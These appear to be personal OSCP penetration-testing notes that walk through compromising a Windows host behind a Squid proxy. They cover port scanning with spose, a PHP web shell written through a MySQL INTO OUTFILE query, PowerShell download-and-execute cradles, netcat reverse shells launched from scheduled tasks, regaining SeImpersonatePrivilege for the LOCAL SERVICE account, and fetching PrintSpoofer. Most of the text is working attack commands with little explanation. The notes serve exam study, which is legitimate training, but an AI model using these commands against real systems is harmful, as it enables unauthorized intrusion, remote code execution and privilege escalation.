OSCP Notes

squid (Squid proxy & localservice priv for newer windows)

spose is a port scanner for when a squid proxy is running on a target.
usage: spose.py [-h] [--proxy PROXY] [--target TARGET]
python3 spose.py --proxy --target you get logged in with default creds(username:root, no-pass),
you might try running the following in the SQL query
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'C:/wamp/www/cmd.php'
and run
curl "" --proxy
or visiting the site
Now we have RCE! IEX(New-Object Net.WebClient).downloadString('')
got a rev shell.
Still cannot access the administrator folder.
When you are in local service account, you can regain permissions by scheduling a task
$TaskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-Exec Bypass -Command `"C:\wamp\www\nc.exe 4444 -e cmd.exe`""
Register-ScheduledTask -Action $TaskAction -TaskName "Grants"
Start-ScheduledTask -TaskName "Grants"
Now we've got a rev shell with more privileges
Reading through the privileges we have now, it's confirmed that the SeImpersonatePrivilege is missing but that can be retrieved by creating a ScheduledTaskPrincipal where we can specify SeImpersonatePrivilege in RequiredPrivilege attribute.
# Create a list of privileges
PS C:\Windows\system32> [System.String[]]$Privs = "SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege", "SeImpersonatePrivilege", "SeIncreaseWorkingSetPrivilege"
# Create a Principal for the task
PS C:\Windows\system32> $TaskPrincipal = New-ScheduledTaskPrincipal -UserId "LOCALSERVICE" -LogonType ServiceAccount -RequiredPrivilege $Privs
# Create an action for the task
PS C:\Windows\system32> $TaskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-Exec Bypass -Command `"C:\wamp\www\nc.exe 4445 -e cmd.exe`""
# Create the task
PS C:\Windows\system32> Register-ScheduledTask -Action $TaskAction -TaskName "GrantAllPerms" -Principal $TaskPrincipal
TaskPath TaskName State
-------- -------- -----
\ GrantAllPerms Ready
# Start the task
PS C:\Windows\system32> Start-ScheduledTask -TaskName "GrantAllPerms"
SeImpersonatePrivilege is on now! Let's get into the system with printspoofer!
powershell (New-Object Net.WebClient).DownloadFile("","C:\wamp\www\prints.exe")
Last modified 10mo ago